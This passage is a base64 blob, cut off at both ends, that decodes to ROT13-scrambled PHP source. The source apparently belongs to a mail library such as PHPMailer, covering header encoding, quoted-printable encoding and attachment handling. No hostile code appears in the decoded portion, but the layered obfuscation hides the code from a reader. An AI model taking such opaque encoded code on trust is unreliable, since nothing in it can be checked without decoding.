uZ3B1cGJoYWcgPSAwOwogICAgICAgIGZqdmdwdSAoZmdlZ2J5YmpyZSgkY2Jmdmd2YmEpKSB7CiAgICAgICAgICAgIHBuZnIgJ2N1ZW5mcic6CiAgICAgICAgICAgICAgICB2cyAoIWNlcnRfem5ncHUoJy9bXDIwMC1cMzc3XS8nLCAkZmdlKSkgewogICAgICAgICAgICAgICAgICAgIC8vIFBuYSdnIGhmciBucXFmeW5mdXJmIG5mIGpyIHFiYSdnIHhhYmogZ3VyIGlueWhyIGJzIHpudHZwX2RoYmdyZl9mbG9uZnIKICAgICAgICAgICAgICAgICAgICAkcmFwYnFycSA9IG5xcXBmeW5mdXJmKCRmZ2UsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICB2cyAoKCRmZ2UgPT0gJHJhcGJxcnEpICYmICFjZXJ0X3puZ3B1KCcvW15OLU1uLW0wLTkhIyQlJlwnKitcLz0/Xl9ge3x9fiAtXS8nLCAkZmdlKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlcmdoZWEgKCRyYXBicXJxKTsKICAgICAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgICAgICBlcmdoZWEgKCJcIiRyYXBicXJxXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkem5ncHVwYmhhZyA9IGNlcnRfem5ncHVfbnl5KCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJGZnZSwgJHpuZ3B1cmYpOwogICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgICAgIC8qKiBAYWJ2YWZjcnBndmJhIEN1Y1p2ZmZ2YXRPZXJueEZnbmdyenJhZ1ZhZmNycGd2YmEgKi8KICAgICAgICAgICAgcG5mciAncGJ6enJhZyc6CiAgICAgICAgICAgICAgICAkem5ncHVwYmhhZyA9IGNlcnRfem5ncHVfbnl5KCcvWygpIl0vJywgJGZnZSwgJHpuZ3B1cmYpOwogICAgICAgICAgICAgICAgLy8gVmFncmFndmJhbnkgc255eS1ndWViaHR1CiAgICAgICAgICAgIHBuZnIgJ2dya2cnOgogICAgICAgICAgICBxcnNuaHlnOgogICAgICAgICAgICAgICAgJHpuZ3B1cGJoYWcgKz0gY2VydF96bmdwdV9ueXkoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRmZ2UsICR6bmdwdXJmKTsKICAgICAgICAgICAgICAgIG9lcm54OwogICAgICAgIH0KCiAgICAgICAgLy9HdXJlciBuZXIgYWIgcHVuZWYgZ3VuZyBhcnJxIHJhcGJxdmF0CiAgICAgICAgdnMgKCR6bmdwdXBiaGFnID09IDApIHsKICAgICAgICAgICAgZXJnaGVhICgkZmdlKTsKICAgICAgICB9CgogICAgICAgICR6bmt5cmEgPSA3NSAtIDcgLSBmZ2V5cmEoJGd1dmYtPlB1bmVGcmcpOwogICAgICAgIC8vIEdlbCBnYiBmcnlycGcgZ3VyIHJhcGJxdmF0IGp1dnB1IGZ1Ymh5cSBjZWJxaHByIGd1ciBmdWJlZ3JmZyBiaGdjaGcKICAgICAgICB2cyAoJHpuZ3B1cGJoYWcgPiBmZ2V5cmEoJGZnZSkgLyAzKSB7CiAgICAgICAgICAgIC8vIFpiZXIgZ3VuYSBuIGd1dmVxIGJzIGd1ciBwYmFncmFnIGp2eXkgYXJycSByYXBicXZhdCwgZmIgTyByYXBicXZhdCBqdnl5IG9yIHpiZmcgcnNzdnB2cmFnCiAgICAgICAgICAgICRyYXBicXZhdCA9ICdPJzsKICAgICAgICAgICAgdnMgKHNoYXBndmJhX3JrdmZnZignem9fZmdleXJhJykgJiYgJGd1dmYtPnVuZlpoeWd2T2xncmYoJGZnZSkpIHsKICAgICAgICAgICAgICAgIC8vIEhmciBuIHBoZmdieiBzaGFwZ3ZiYSBqdXZwdSBwYmVlcnBneWwgcmFwYnFyZiBuYXEgamVuY2YgeWJhdAogICAgICAgICAgICAgICAgLy8gemh5Z3ZvbGdyIGZnZXZhdGYganZndWJoZyBvZXJueHZhdCB5dmFyZiBqdmd1dmEgbiBwdW5lbnBncmUKICAgICAgICAgICAgICAgICRyYXBicXJxID0gJGd1dmYtPm9uZnI2NFJhcGJxckplbmNaTygkZmdlLCAiXGEiKTsKICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICRyYXBicXJxID0gb25mcjY0X3JhcGJxcigkZmdlKTsKICAgICAgICAgICAgICAgICR6bmt5cmEgLT0gJHpua3lyYSAlIDQ7CiAgICAgICAgICAgICAgICAkcmFwYnFycSA9IGdldnoocHVoYXhfZmN5dmcoJHJhcGJxcnEsICR6bmt5cmEsICJcYSIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICRyYXBicXZhdCA9ICdEJzsKICAgICAgICAgICAgJHJhcGJxcnEgPSAkZ3V2Zi0+cmFwYnFyRCgkZmdlLCAkY2Jmdmd2YmEpOwogICAgICAgICAgICAkcmFwYnFycSA9ICRndXZmLT5qZW5jR3JrZygkcmFwYnFycSwgJHpua3lyYSwgZ2Vocik7CiAgICAgICAgICAgICRyYXBicXJxID0gZmdlX2VyY3lucHIoJz0nIC4gZnJ5czo6UEVZUywgIlxhIiwgZ2V2eigkcmFwYnFycSkpOwogICAgICAgIH0KCiAgICAgICAgJHJhcGJxcnEgPSBjZXJ0X2VyY3lucHIoJy9eKC4qKSQveicsICcgPT8nIC4gJGd1dmYtPlB1bmVGcmcgLiAiPyRyYXBicXZhdD9cXDE/PSIsICRyYXBicXJxKTsKICAgICAgICAkcmFwYnFycSA9IGdldnooZmdlX2VyY3lucHIoIlxhIiwgJGd1dmYtPllSLCAkcmFwYnFycSkpOwoKICAgICAgICBlcmdoZWEgJHJhcGJxcnE7CiAgICB9CgogICAgLyoqCiAgICAgKiBQdXJweCB2cyBuIGZnZXZhdCBwYmFnbnZhZiB6aHlndi1vbGdyIHB1bmVucGdyZWYuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGNuZW56IGZnZXZhdCAkZmdlIHpoeWd2LW9sZ3IgZ3JrZyBnYiBqZW5jIHJhcGJxcgogICAgICogQGVyZ2hlYSBvYmJ5cm5hCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB1bmZaaHlndk9sZ3JmKCRmZ2UpCiAgICB7CiAgICAgICAgdnMgKHNoYXBndmJhX3JrdmZnZignem9fZmdleXJhJykpIHsKICAgICAgICAgICAgZXJnaGVhIChmZ2V5cmEoJGZnZSkgPiB6b19mZ2V5cmEoJGZnZSwgJGd1dmYtPlB1bmVGcmcpKTsKICAgICAgICB9IHJ5ZnIgeyAvLyBOZmZoenIgYWIgemh5Z3ZvbGdyZiAoanIgcG5hJ2cgdW5hcXlyIGp2Z3ViaGcgem9mZ2V2YXQgc2hhcGd2YmFmIG5hbGpubCkKICAgICAgICAgICAgZXJnaGVhIHNueWZyOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFFicmYgbiBmZ2V2YXQgcGJhZ252YSBuYWwgOC1vdmcgcHVuZWYgKHZhIG5hbCBwdW5lZnJnKT8KICAgICAqIEBjbmVueiBmZ2V2YXQgJGdya2cKICAgICAqIEBlcmdoZWEgb2JieXJuYQogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgdW5mOG92Z1B1bmVmKCRncmtnKQogICAgewogICAgICAgIGVyZ2hlYSAob2JieXJuYSljZXJ0X3puZ3B1KCcvW1xrODAtXGtTU10vJywgJGdya2cpOwogICAgfQoKICAgIC8qKgogICAgICogUmFwYnFyIG5hcSBqZW5jIHliYXQgemh5Z3ZvbGdyIGZnZXZhdGYgc2JlIHpudnkgdXJucXJlZgogICAgICoganZndWJoZyBvZXJueHZhdCB5dmFyZiBqdmd1dmEgbiBwdW5lbnBncmUuCiAgICAgKiBOcW5jZ3JxIHNlYnogbiBzaGFwZ3ZiYSBvbCBjbmVuaWJ2cQogICAgICogQHl2YXggdWdnYzovL2pqai5jdWMuYXJnL3puYWhueS9yYS9zaGFwZ3ZiYS56by1yYXBicXItenZ6cnVybnFyZS5jdWMjNjAyODMKICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAY25lbnogZmdldmF0ICRmZ2Ugemh5Z3Ytb2xnciBncmtnIGdiIGplbmMgcmFwYnFyCiAgICAgKiBAY25lbnogZmdldmF0ICR5dmFyb2VybnggZmdldmF0IGdiIGhmciBuZiB5dmFyc3JycS9yYXEtYnMteXZhcgogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIG9uZnI2NFJhcGJxckplbmNaTygkZmdlLCAkeXZhcm9lcm54ID0gYWh5eSkKICAgIHsKICAgICAgICAkZmduZWcgPSAnPT8nIC4gJGd1dmYtPlB1bmVGcmcgLiAnP08/JzsKICAgICAgICAkcmFxID0gJz89JzsKICAgICAgICAkcmFwYnFycSA9ICcnOwogICAgICAgIHZzICgkeXZhcm9lcm54ID09PSBhaHl5KSB7CiAgICAgICAgICAgICR5dmFyb2VybnggPSAkZ3V2Zi0+WVI7CiAgICAgICAgfQoKICAgICAgICAkem9feXJhdGd1ID0gem9fZmdleXJhKCRmZ2UsICRndXZmLT5QdW5lRnJnKTsKICAgICAgICAvLyBSbnB1IHl2YXIgemhmZyB1bmlyIHlyYXRndSA8PSA3NSwgdmFweWhxdmF0ICRmZ25lZyBuYXEgJHJhcQogICAgICAgICR5cmF0Z3UgPSA3NSAtIGZnZXlyYSgkZmduZWcpIC0gZmdleXJhKCRyYXEpOwogICAgICAgIC8vIE5pcmVudHIgemh5Z3Ytb2xnciBlbmd2YgogICAgICAgICRlbmd2YiA9ICR6b195cmF0Z3UgLyBmZ2V5cmEoJGZnZSk7CiAgICAgICAgLy8gT25mcjY0IHVuZiBuIDQ6MyBlbmd2YgogICAgICAgICRuaXRZcmF0Z3UgPSBzeWJiZSgkeXJhdGd1ICogJGVuZ3ZiICogLjc1KTsKCiAgICAgICAgc2JlICgkdiA9IDA7ICR2IDwgJHpvX3lyYXRndTsgJHYgKz0gJGJzc2ZyZykgewogICAgICAgICAgICAkeWJieE9ucHggPSAwOwogICAgICAgICAgICBxYiB7CiAgICAgICAgICAgICAgICAkYnNzZnJnID0gJG5pdFlyYXRndSAtICR5YmJ4T25weDsKICAgICAgICAgICAgICAgICRwdWhheCA9IHpvX2Zob2ZnZSgkZmdlLCAkdiwgJGJzc2ZyZywgJGd1dmYtPlB1bmVGcmcpOwogICAgICAgICAgICAgICAgJHB1aGF4ID0gb25mcjY0X3JhcGJxcigkcHVoYXgpOwogICAgICAgICAgICAgICAgJHliYnhPbnB4Kys7CiAgICAgICAgICAgIH0ganV2eXIgKGZnZXlyYSgkcHVoYXgpID4gJHlyYXRndSk7CiAgICAgICAgICAgICRyYXBicXJxIC49ICRwdWhheCAuICR5dmFyb2Vybng7CiAgICAgICAgfQoKICAgICAgICAvLyBQdWJ6YyBndXIgeW5mZyB5dmFyc3JycQogICAgICAgICRyYXBicXJxID0gZmhvZmdlKCRyYXBicXJxLCAwLCAtZmdleXJhKCR5dmFyb2VybngpKTsKICAgICAgICBlcmdoZWEgJHJhcGJxcnE7CiAgICB9CgogICAgLyoqCiAgICAgKiBSYXBicXIgbiBmZ2V2YXQgdmEgZGhiZ3JxLWNldmFnbm95ciBzYmV6bmcuCiAgICAgKiBOcHBiZXF2YXQgZ2IgRVNQMjA0NSBmcnBndmJhIDYuNy4KICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAY25lbnogZmdldmF0ICRmZ2V2YXQgR3VyIGdya2cgZ2IgcmFwYnFyCiAgICAgKiBAY25lbnogdmFncnRyZSAkeXZhcl96bmsgQWh6b3JlIGJzIHB1bmVmIG55eWJqcnEgYmEgbiB5dmFyIG9yc2JlciBqZW5jY3ZhdAogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqIEB5dmF4IHVnZ2M6Ly9qamouY3VjLmFyZy96bmFobnkvcmEvc2hhcGd2YmEuZGhiZ3JxLWNldmFnbm95ci1xcnBicXIuY3VjIzg5NDE3IE5xbmNncnEgc2VieiBndXZmIHBienpyYWcKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHJhcGJxckRDKCRmZ2V2YXQsICR5dmFyX3puayA9IDc2KQogICAgewogICAgICAgIC8vIEhmciBhbmd2aXIgc2hhcGd2YmEgdnMgdmcnZiBuaW52eW5veXIgKD49IENVQzUuMykKICAgICAgICB2cyAoc2hhcGd2YmFfcmt2ZmdmKCdkaGJncnFfY2V2YWdub3lyX3JhcGJxcicpKSB7CiAgICAgICAgICAgIGVyZ2hlYSBkaGJncnFfY2V2YWdub3lyX3JhcGJxcigkZmdldmF0KTsKICAgICAgICB9CiAgICAgICAgLy8gU255eSBvbnB4IGdiIG4gY2hlciBDVUMgdnpjeXJ6cmFnbmd2YmEKICAgICAgICAkZmdldmF0ID0gZmdlX2VyY3lucHIoCiAgICAgICAgICAgIG5lZW5sKCclMjAnLCAnJTBRJTBOLicsICclMFElME4nLCAnJScpLAogICAgICAgICAgICBuZWVubCgnICcsICJcZVxhPTJSIiwgIlxlXGEiLCAnPScpLAogICAgICAgICAgICBlbmpoZXlyYXBicXIoJGZnZXZhdCkKICAgICAgICApOwogICAgICAgIGVyZ2hlYSBjZXJ0X2VyY3lucHIoJy9bXlxlXGFdeycgLiAoJHl2YXJfem5rIC0gMykgLiAnfVtePVxlXGFdezJ9LycsICIkMD1cZVxhIiwgJGZnZXZhdCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBPbnB4am5lcSBwYnpjbmd2b3Z5dmdsIGplbmNjcmUgc2JlIG5hIGJ5cSBEQyByYXBicXZhdCBzaGFwZ3ZiYSBndW5nIGpuZiBlcnpiaXJxLgogICAgICogQGZyciBDVUNabnZ5cmU6OnJhcGJxckRDKCkKICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAY25lbnogZmdldmF0ICRmZ2V2YXQKICAgICAqIEBjbmVueiB2YWdydHJlICR5dmFyX3puawogICAgICogQGNuZW56IG9iYnlybmEgJGZjbnByX3BiYWkKICAgICAqIEBlcmdoZWEgZmdldmF0CiAgICAgKiBAcXJjZXJwbmdycSBIZnIgcmFwYnFyREMgdmFmZ3JucS4KICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHJhcGJxckRDY3VjKAogICAgICAgICRmZ2V2YXQsCiAgICAgICAgJHl2YXJfem5rID0gNzYsCiAgICAgICAgLyoqIEBhYnZhZmNycGd2YmEgQ3VjSGFoZnJxQ25lbnpyZ3JlVmFmY3JwZ3ZiYSAqLyAkZmNucHJfcGJhaSA9IHNueWZyCiAgICApIHsKICAgICAgICBlcmdoZWEgJGd1dmYtPnJhcGJxckRDKCRmZ2V2YXQsICR5dmFyX3puayk7CiAgICB9CgogICAgLyoqCiAgICAgKiBSYXBicXIgbiBmZ2V2YXQgaGZ2YXQgRCByYXBicXZhdC4KICAgICAqIEB5dmF4IHVnZ2M6Ly9nYmJ5Zi52cmdzLmJldC91Z3p5L2VzcDIwNDcKICAgICAqIEBjbmVueiBmZ2V2YXQgJGZnZSBndXIgZ3JrZyBnYiByYXBicXIKICAgICAqIEBjbmVueiBmZ2V2YXQgJGNiZnZndmJhIEp1cmVyIGd1ciBncmtnIHZmIHRidmF0IGdiIG9yIGhmcnEsIGZyciBndXIgRVNQIHNiZSBqdW5nIGd1bmcgenJuYWYKICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAZXJnaGVhIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgcmFwYnFyRCgkZmdlLCAkY2Jmdmd2YmEgPSAnZ3JrZycpCiAgICB7CiAgICAgICAgLy8gR3VyZXIgZnViaHlxIGFiZyBvciBuYWwgUkJZIHZhIGd1ciBmZ2V2YXQKICAgICAgICAkY25nZ3JlYSA9ICcnOwogICAgICAgICRyYXBicXJxID0gZmdlX2VyY3lucHIobmVlbmwoIlxlIiwgIlxhIiksICcnLCAkZmdlKTsKICAgICAgICBmanZncHUgKGZnZWdieWJqcmUoJGNiZnZndmJhKSkgewogICAgICAgICAgICBwbmZyICdjdWVuZnInOgogICAgICAgICAgICAgICAgLy8gRVNQIDIwNDcgZnJwZ3ZiYSA1LjMKICAgICAgICAgICAgICAgICRjbmdncmVhID0gJ15OLU1uLW0wLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIG9lcm54OwogICAgICAgICAgICAvKiogQGFidmFmY3JwZ3ZiYSBDdWNadmZmdmF0T2VybnhGZ25ncnpyYWdWYWZjcnBndmJhICovCiAgICAgICAgICAgIHBuZnIgJ3BienpyYWcnOgogICAgICAgICAgICAgICAgLy8gRVNQIDIwNDcgZnJwZ3ZiYSA1LjIKICAgICAgICAgICAgICAgICRjbmdncmVhID0gJ1woXCkiJzsKICAgICAgICAgICAgICAgIC8vIHZhZ3JhZ3ZiYW55IHNueXktZ3VlYmh0dQogICAgICAgICAgICAgICAgLy8gc2JlIGd1dmYgZXJuZmJhIGpyIG9odnlxIGd1ciAkY25nZ3JlYSBqdmd1YmhnIHZhcHlocXZhdCBxcnl2enZncmVmIG5hcSBbXQogICAgICAgICAgICBwbmZyICdncmtnJzoKICAgICAgICAgICAgcXJzbmh5ZzoKICAgICAgICAgICAgICAgIC8vIEVTUCAyMDQ3IGZycGd2YmEgNS4xCiAgICAgICAgICAgICAgICAvLyBFcmN5bnByIHJpcmVsIHV2dHUgbmZwdnYsIHBiYWdlYnksID0sID8gbmFxIF8gcHVuZW5wZ3JlZgogICAgICAgICAgICAgICAgJGNuZ2dyZWEgPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJGNuZ2dyZWE7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICB9CiAgICAgICAgJHpuZ3B1cmYgPSBuZWVubCgpOwogICAgICAgIHZzIChjZXJ0X3puZ3B1X255eSgiL1t7JGNuZ2dyZWF9XS8iLCAkcmFwYnFycSwgJHpuZ3B1cmYpKSB7CiAgICAgICAgICAgIC8vIFZzIGd1ciBmZ2V2YXQgcGJhZ252YWYgbmEgJz0nLCB6bnhyIGZoZXIgdmcnZiBndXIgc3ZlZmcgZ3V2YXQganIgZXJjeW5wcgogICAgICAgICAgICAvLyBmYiBuZiBnYiBuaWJ2cSBxYmhveXItcmFwYnF2YXQKICAgICAgICAgICAgJHJkeHJsID0gbmVlbmxfZnJuZXB1KCc9JywgJHpuZ3B1cmZbMF0pOwogICAgICAgICAgICB2cyAoc255ZnIgIT09ICRyZHhybCkgewogICAgICAgICAgICAgICAgaGFmcmcoJHpuZ3B1cmZbMF1bJHJkeHJsXSk7CiAgICAgICAgICAgICAgICBuZWVubF9oYWZ1dnNnKCR6bmdwdXJmWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNiZXJucHUgKG5lZW5sX2hhdmRocigkem5ncHVyZlswXSkgbmYgJHB1bmUpIHsKICAgICAgICAgICAgICAgICRyYXBicXJxID0gZmdlX2VyY3lucHIoJHB1bmUsICc9JyAuIGZjZXZhZ3MoJyUwMksnLCBiZXEoJHB1bmUpKSwgJHJhcGJxcnEpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIEVyY3lucHIgcmlyZWwgZmNucHJmIGdiIF8gKHpiZXIgZXJucW5veXIgZ3VuYSA9MjApCiAgICAgICAgZXJnaGVhIGZnZV9lcmN5bnByKCcgJywgJ18nLCAkcmFwYnFycSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBOcXEgbiBmZ2V2YXQgYmUgb3ZhbmVsIG5nZ25wdXpyYWcgKGFiYS1zdnlyZmxmZ3J6KS4KICAgICAqIEd1dmYgenJndWJxIHBuYSBvciBoZnJxIGdiIG5nZ25wdSBuZnB2diBiZSBvdmFuZWwgcW5nbiwKICAgICAqIGZocHUgbmYgbiBPWUJPIGVycGJlcSBzZWJ6IG4gcW5nbm9uZnIuCiAgICAgKiBAY25lbnogZmdldmF0ICRmZ2V2YXQgRmdldmF0IG5nZ25wdXpyYWcgcW5nbi4KICAgICAqIEBjbmVueiBmZ2V2YXQgJHN2eXJhbnpyIEFuenIgYnMgZ3VyIG5nZ25wdXpyYWcuCiAgICAgKiBAY25lbnogZmdldmF0ICRyYXBicXZhdCBTdnlyIHJhcGJxdmF0IChmcnIgJFJhcGJxdmF0KS4KICAgICAqIEBjbmVueiBmZ2V2YXQgJGdsY3IgU3Z5ciBya2dyYWZ2YmEgKFpWWlIpIGdsY3IuCiAgICAgKiBAY25lbnogZmdldmF0ICRxdmZjYmZ2Z3ZiYSBRdmZjYmZ2Z3ZiYSBnYiBoZnIKICAgICAqIEBlcmdoZWEgaWJ2cQogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgbnFxRmdldmF0TmdnbnB1enJhZygKICAgICAgICAkZmdldmF0LAogICAgICAgICRzdnlyYW56ciwKICAgICAgICAkcmFwYnF2YXQgPSAnb25mcjY0JywKICAgICAgICAkZ2xjciA9ICcnLAogICAgICAgICRxdmZjYmZ2Z3ZiYSA9ICduZ2ducHV6cmFnJwogICAgKSB7CiAgICAgICAgLy8gVnMgbiBaVlpSIGdsY3IgdmYgYWJnIGZjcnB2c3ZycSwgZ2VsIGdiIGpiZXggdmcgYmhnIHNlYnogZ3VyIHN2eXIgYW56cgogICAgICAgIHZzICgkZ2xjciA9PSAnJykgewogICAgICAgICAgICAkZ2xjciA9IGZyeXM6OnN2eXJhbnpyR2JHbGNyKCRzdnlyYW56cik7CiAgICAgICAgfQogICAgICAgIC8vIE5jY3JhcSBnYiAkbmdnbnB1enJhZyBuZWVubAogICAgICAgICRndXZmLT5uZ2ducHV6cmFnW10gPSBuZWVubCgKICAgICAgICAgICAgMCA9PiAkZmdldmF0LAogICAgICAgICAgICAxID0+ICRzdnlyYW56ciwKICAgICAgICAgICAgMiA9PiBvbmZyYW56cigkc3Z5cmFuenIpLAogICAgICAgICAgICAzID0+ICRyYXBicXZhdCwKICAgICAgICAgICAgNCA9PiAkZ2xjciwKICAgICAgICAgICAgNSA9PiBnZWhyLCAvLyB2ZkZnZXZhdE5nZ25wdXpyYWcKICAgICAgICAgICAgNiA9PiAkcXZmY2Jmdmd2YmEsCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBOcXEgbmEgcnpvcnFxcnEgKHZheXZhcikgbmdnbnB1enJhZyBzZWJ6IG4gc3Z5ci4KICAgICAqIEd1dmYgcG5hIHZhcHlocXIgdnpudHJmLCBmYmhhcWYsIG5hcSB3aGZnIG5vYmhnIG5hbCBiZ3VyZSBxYnBoenJhZyBnbGNyLgogICAgICogR3VyZnIgcXZzc3JlIHNlYnogJ2VydGh5bmUnIG5nZ25wdXpyYWdmIHZhIGd1bmcgZ3VybCBuZXIgdmFncmFxcnEgZ2Igb3IKICAgICAqIHF2ZmN5bmxycSB2YXl2YXIganZndSBndXIgenJmZm50ciwgYWJnIHdoZmcgbmdnbnB1cnEgc2JlIHFiamF5Ym5xLgogICAgICogR3V2ZiB2ZiBoZnJxIHZhIFVHWlkgenJmZm50cmYgZ3VuZyByem9ycSBndXIgdnpudHJmCiAgICAgKiBndXIgVUdaWSBlcnNyZWYgZ2IgaGZ2YXQgZ3VyICRwdnEgaW55aHIuCiAgICAgKiBBcmlyZSBoZnIgbiBoZnJlLWZoY2N5dnJxIGNuZ3UgZ2IgbiBzdnlyIQogICAgICogQGNuZW56IGZnZXZhdCAkY25ndSBDbmd1IGdiIGd1ciBuZ2ducHV6cmFnLgogICAgICogQGNuZW56IGZnZXZhdCAkcHZxIFBiYWdyYWcgVlEgYnMgZ3VyIG5nZ25wdXpyYWc7IEhmciBndXZmIGdiIGVyc3JlcmFwcgogICAgICogICAgICAgIGd1ciBwYmFncmFnIGp1cmEgaGZ2YXQgbmEgcnpvcnFxcnEgdnpudHIgdmEgVUdaWS4KICAgICAqIEBjbmVueiBmZ2V2YXQgJGFuenIgQmlyZWV2cXJmIGd1ciBuZ2ducHV6cmFnIGFuenIuCiAgICAgKiBAY25lbnogZmdldmF0ICRyYXBicXZhdCBTdnlyIHJhcGJxdmF0IChmcnIgJFJhcGJxdmF0KS4KICAgICAqIEBjbmVueiBmZ2V2YXQgJGdsY3IgU3Z5ciBaVlpSIGdsY3IuCiAgICAgKiBAY25lbnogZmdldmF0ICRxdmZjYmZ2Z3ZiYSBRdmZjYmZ2Z3ZiYSBnYiBoZnIKICAgICAqIEBlcmdoZWEgb2JieXJuYSBHZWhyIGJhIGZocHByZmZzaHl5bCBucXF2YXQgbmEgbmdnbnB1enJhZwogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgbnFxUnpvcnFxcnFWem50cigkY25ndSwgJHB2cSwgJGFuenIgPSAnJywgJHJhcGJxdmF0ID0gJ29uZnI2NCcsICRnbGNyID0gJycsICRxdmZjYmZ2Z3ZiYSA9ICd2YXl2YXInKQogICAgewogICAgICAgIHZzICghZnJ5czo6dmZDcmV6dmdncnFDbmd1KCRjbmd1KSBiZSAhQHZmX3N2eXIoJGNuZ3UpKSB7CiAgICAgICAgICAgICRndXZmLT5mcmdSZWViZSgkZ3V2Zi0+eW5hdCgnc3Z5cl9ucHByZmYnKSAuICRjbmd1KTsKICAgICAgICAgICAgZXJnaGVhIHNueWZyOwogICAgICAgIH0KCiAgICAgICAgLy8gVnMgbiBaVlpSIGdsY3IgdmYgYWJnIGZjcnB2c3ZycSwgZ2VsIGdiIGpiZXggdmcgYmhnIHNlYnogZ3VyIHN2eXIgYW56cgogICAgICAgIHZzICgkZ2xjciA9PSAnJykgewogICAgICAgICAgICAkZ2xjciA9IGZyeXM6OnN2eXJhbnpyR2JHbGNyKCRjbmd1KTsKICAgICAgICB9CgogICAgICAgICRzdnlyYW56ciA9IG9uZnJhbnpyKCRjbmd1KTsKICAgICAgICB2cyAoJGFuenIgPT0gJycpIHsKICAgICAgICAgICAgJGFuenIgPSAkc3Z5cmFuenI7CiAgICAgICAgfQoKICAgICAgICAvLyBOY2NyYXEgZ2IgJG5nZ25wdXpyYWcgbmVlbmwKICAgICAgICAkZ3V2Zi0+bmdnbnB1enJhZ1tdID0gbmVlbmwoCiAgICAgICAgICAgIDAgPT4gJGNuZ3UsCiAgICAgICAgICAgIDEgPT4gJHN2eXJhbnpyLAogICAgICAgICAgICAyID0+ICRhbnpyLAogICAgICAgICAgICAzID0+ICRyYXBicXZhdCwKICAgICAgICAgICAgNCA9PiAkZ2xjciwKICAgICAgICAgICAgNSA9PiBzbnlmciwgLy8gdmZGZ2V2YXROZ2ducHV6cmFnCiAgICAgICAgICAgIDYgPT4gJHF2ZmNiZnZndmJhLAogICAgICAgICAgICA3ID0+ICRwdnEKICAgICAgICApOwogICAgICAgIGVyZ2hlYSBnZWhyOwogICAgfQoKICAgIC8qKgogICAgICogTnFxIG5hIHJ6b3JxcXJxIGZnZXZhdHZzdnJxIG5nZ25wdXpyYWcuCiAgICAgKiBHdXZmIHBuYSB2YXB5aHFyIHZ6bnRyZiwgZmJoYXFmLCBuYXEgd2hmZyBub2JoZyBuYWwgYmd1cmUgcWJwaHpyYWcgZ2xjci4KICAgICAqIE9yIGZoZXIgZ2IgZnJnIGd1ciAkZ2xjciBnYiBuYSB2em50ciBnbGNyIHNiZSB2em50cmY6CiAgICAgKiBXQ1JUIHZ6bnRyZiBoZnIgJ3Z6bnRyL3djcnQnLCBUVlMgaGZyZiAndnpudHIvdHZzJywgQ0FUIGhmcmYgJ3Z6bnRyL2NhdCcuCiAgICAgKiBAY25lbnogZmdldmF0ICRmZ2V2YXQgR3VyIG5nZ25wdXpyYWcgb3ZhbmVsIHFuZ24uCiAgICAgKiBAY25lbnogZmdldmF0ICRwdnEgUGJhZ3JhZyBWUSBicyBndXIgbmdnbnB1enJhZzsgSGZyIGd1dmYgZ2IgZXJzcmVyYXByCiAgICAgKiAgICAgICAgZ3VyIHBiYWdyYWcganVyYSBoZnZhdCBuYSByem9ycXFycSB2em50ciB2YSBVR1pZLgogICAgICogQGNuZW56IGZnZXZhdCAkYW56cgogICAgICogQGNuZW56IGZnZXZhdCAkcmFwYnF2YXQgU3Z5ciByYXBicXZhdCAoZnJyICRSYXBicXZhdCkuCiAgICAgKiBAY25lbnogZmdldmF0ICRnbGNyIFpWWlIgZ2xjci4KICAgICAqIEBjbmVueiBmZ2V2YXQgJHF2ZmNiZnZndmJhIFF2ZmNiZnZndmJhIGdiIGhmcgogICAgICogQGVyZ2hlYSBvYmJ5cm5hIEdlaHIgYmEgZmhwcHJmZnNoeXlsIG5xcXZhdCBuYSBuZ2ducHV6cmFnCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBucXFGZ2V2YXRSem9ycXFycVZ6bnRyKAogICAgICAgICRmZ2V2YXQsCiAgICAgICAgJHB2cSwKICAgICAgICAkYW56ciA9ICcnLAogICAgICAgICRyYXBicXZhdCA9ICdvbmZyNjQnLAogICAgICAgICRnbGNyID0gJycsCiAgICAgICAgJHF2ZmNiZnZndmJhID0gJ3ZheXZhcicKICAgICkgewogICAgICAgIC8vIFZzIG4gWlZaUiBnbGNyIHZmIGFiZyBmY3JwdnN2cnEsIGdlbCBnYiBqYmV4IHZnIGJoZyBzZWJ6IGd1ciBhbnpyCiAgICAgICAgdnMgKCRnbGNyID09ICcnIG5hcSAhcnpjZ2woJGFuenIpKSB7CiAgICAgICAgICAgICRnbGNyID0gZnJ5czo6c3Z5cmF